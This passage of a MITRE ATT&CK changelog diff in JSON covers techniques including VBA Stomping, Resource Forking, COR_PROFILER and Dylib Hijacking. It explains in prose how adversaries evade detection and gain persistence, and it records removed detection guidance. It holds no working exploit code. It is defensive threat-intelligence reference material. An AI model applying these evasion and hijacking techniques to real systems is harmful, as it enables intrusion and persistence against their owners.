"https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/" + }, + { + "source_name": "Nviso Spoof Command Line 2020", + "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.", + "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/" + }, + { + "source_name": "FireEye FiveHands April 2021", + "description": "McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html" + }, + { + "source_name": "Mandiant Endpoint Evading 2019", + "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.", + "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.325000+00:00\", \"old_value\": \"2025-04-25 14:48:40.519000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0045: Detection Strategy for Process Argument Spoofing on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-12 20:02:31.866000+00:00", + "modified": "2025-10-24 17:49:14.736000+00:00", + "name": "Resource Forking", + "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/009", + "external_id": "T1564.009" + }, + { + "source_name": "tau bundlore erika noerenberg 2020", + "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.", + "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html" + }, + { + "source_name": "Resource and Data Forks", + "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.", + "url": "https://flylib.com/books/en/4.395.1.192/1/" + }, + { + "source_name": "ELC Extended Attributes", + "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.", + "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/" + }, + { + "source_name": "sentinellabs resource named fork 2020", + "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.", + "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/" + }, + { + "source_name": "macOS Hierarchical File System Overview", + "description": "Tenon. (n.d.). Retrieved October 12, 2021.", + "url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jaron Bradley @jbradley89", + "Ivan Sinyakov" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.736000+00:00\", \"old_value\": \"2025-04-16 20:37:19.185000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n\\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n-\\n-Monitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0584: Detection Strategy for Resource Forking on macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-09-17 12:51:40.845000+00:00", + "modified": "2025-10-24 17:49:22.623000+00:00", + "name": "VBA Stomping", + "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/007", + "external_id": "T1564.007" + }, + { + "source_name": "FireEye VBA stomp Feb 2020", + "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html" + }, + { + "source_name": "Evil Clippy May 2019", + "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.", + "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/" + }, + { + "source_name": "Microsoft _VBA_PROJECT Stream", + "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.", + "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239" + }, + { + "source_name": "Walmart Roberts Oct 2018", + "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020.", + "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278" + }, + { + "source_name": "pcodedmp Bontchev", + "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.", + "url": "https://github.com/bontchev/pcodedmp" + }, + { + "source_name": "oletools toolkit", + "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.", + "url": "https://github.com/decalage2/oletools" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Rick Cole, Mandiant" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.623000+00:00\", \"old_value\": \"2025-04-25 14:48:00.627000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\\n\\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\\n-\\n-If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0012: Script (Script Execution)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0012: Detection Strategy for VBA Stomping" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-12 20:38:12.465000+00:00", + "modified": "2025-10-24 17:49:13.820000+00:00", + "name": "Hijack Execution Flow", + "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574", + "external_id": "T1574" + }, + { + "source_name": "Autoruns for Windows", + "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Module: Module Load\", \"Process: Process Creation\", \"Service: Service Metadata\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.820000+00:00\", \"old_value\": \"2025-04-15 19:58:57.767000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\\n\\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n\\nMonitor for changes to environment variables, as well as the commands to implement these changes.\\n\\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\\n\\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\\n-\\n-Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n-\\n-Monitor for changes to environment variables, as well as the commands to implement these changes.\\n-\\n-Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\\n-\\n-Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1044: Restrict Library Loading", + "M1047: Audit", + "M1051: Update Software", + "M1052: User Account Control" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0218: Detection Strategy for Hijack Execution Flow across OS platforms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-24 22:30:55.843000+00:00", + "modified": "2025-10-24 17:49:40.510000+00:00", + "name": "COR_PROFILER", + "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/012", + "external_id": "T1574.012" + }, + { + "source_name": "Microsoft Profiling Mar 2017", + "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.", + "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview" + }, + { + "source_name": "Microsoft COR_PROFILER Feb 2013", + "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)" + }, + { + "source_name": "RedCanary Mockingbird May 2020", + "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.", + "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/" + }, + { + "source_name": "Red Canary COR_PROFILER May 2020", + "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.", + "url": "https://redcanary.com/blog/cor_profiler-for-persistence/" + }, + { + "source_name": "Almond COR_PROFILER Apr 2019", + "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.", + "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html" + }, + { + "source_name": "GitHub OmerYa Invisi-Shell", + "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.", + "url": "https://github.com/OmerYa/Invisi-Shell" + }, + { + "source_name": "subTee .NET Profilers May 2017", + "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.", + "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jesse Brown, Red Canary" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.510000+00:00\", \"old_value\": \"2025-04-25 14:48:41.257000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1024: Restrict Registry Permissions", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0479: Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-16 15:23:30.896000+00:00", + "modified": "2025-10-24 17:49:39.243000+00:00", + "name": "Dylib Hijacking", + "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/004", + "external_id": "T1574.004" + }, + { + "source_name": "MalwareUnicorn macOS Dylib Injection MachO", + "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.", + "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5" + }, + { + "source_name": "Apple Developer Doco Archive Run-Path", + "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html" + }, + { + "source_name": "Wardle Dylib Hijacking OSX 2015", + "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.", + "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf" + }, + { + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf" + }, + { + "source_name": "Wardle Dylib Hijack Vulnerable Apps", + "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.", + "url": "https://objective-see.com/blog/blog_0x46.html" + }, + { + "source_name": "wardle artofmalware volume1", + "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved November 17, 2024.", + "url": "https://taomm.org/vol1/read.html" + }, + { + "source_name": "Github EmpireProject HijackScanner", + "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.", + "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py" + }, + { + "source_name": "Github EmpireProject CreateHijacker Dylib", + "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.", + "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "2.1", + 